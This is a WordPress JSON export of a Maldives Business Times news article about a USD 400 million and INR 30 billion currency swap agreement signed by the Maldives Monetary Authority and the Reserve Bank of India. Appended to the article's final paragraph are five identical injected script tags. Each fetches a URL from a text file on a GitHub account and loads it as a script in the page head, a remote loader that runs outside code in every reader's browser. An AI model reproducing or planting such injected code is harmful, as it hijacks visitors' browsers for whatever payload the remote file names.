{"id":10354,"date":"2024-10-07T20:31:27","date_gmt":"2024-10-07T15:31:27","guid":{"rendered":"https:\/\/mbt.mv\/?p=10354"},"modified":"2024-10-07T20:31:27","modified_gmt":"2024-10-07T15:31:27","slug":"maldives-and-india-sign-usd-400-million-currency-swap-deal","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10354","title":{"rendered":"Maldives and India sign USD 400 million currency swap deal"},"content":{"rendered":"<p>The Maldives and India have signed a USD 400 million and INR 30 billion currency swap agreement.<\/p>\n<p>The agreement was signed between the Maldives Monetary Authority (MMA) and the Reserve Bank of India (RBI) on Monday afternoon, following the bilateral talks in New Delhi between Maldives President Dr. Mohamed Muizzu and Indian Prime Minister Narendra Modi.<\/p>\n<p>Under the agreement, the Maldives central bank is allowed to draw a swap facility under two windows: USD or EUR window and INR window respectively, against the Maldivian currency; Rufiyaa (MVR).<\/p>\n<p>The facility also allows MMA to make multiple draws, up to a maximum limit of USD 400 million in addition to INR 30 billion within the existing &#8216;Framework on Currency Swap Agreement for SAARC Countries, 2024-2027.&#8217;<\/p>\n<p>According to the central bank, the USD\/EUR swap facility will support the foreign exchange liquidity requirements, while the INR swap facility will allow for trade settlement in local currency &#8211; further enhancing and strengthening bilateral trade between both countries.<\/p>\n<p>A swap facility is aimed at providing a last-resort option of funding for short-term foreign exchange liquidity requirements or balance of payment issues.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives and India have signed a USD 400 million and INR 30 billion currency swap agreement. The agreement was signed between the Maldives Monetary Authority (MMA) and the Reserve Bank of India (RBI) on Monday afternoon, following the bilateral talks in New Delhi between Maldives President Dr. Mohamed Muizzu and Indian Prime Minister Narendra<\/p>\n","protected":false},"author":4,"featured_media":10355,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-10354","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Maldives and India sign USD 400 million currency swap deal - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=10354\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Maldives and India sign USD 400 million currency swap deal - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The Maldives and India have signed a USD 400 million and INR 30 billion currency swap agreement. The agreement was signed between the Maldives Monetary Authority (MMA) and the Reserve Bank of India (RBI) on Monday afternoon, following the bilateral talks in New Delhi between Maldives President Dr. Mohamed Muizzu and Indian Prime Minister Narendra\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=10354\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-10-07T15:31:27+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=10354#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=10354\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Maldives and India sign USD 400 million currency swap deal\",\"datePublished\":\"2024-10-07T15:31:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=10354\"},\"wordCount\":191,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=10354#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"FINANCE\",\"PUBLIC SECTOR\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=10354#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=10354\",\"url\":\"https:\/\/mbt.mv\/?p=10354\",\"name\":\"Maldives and India sign USD 400 million currency swap deal - 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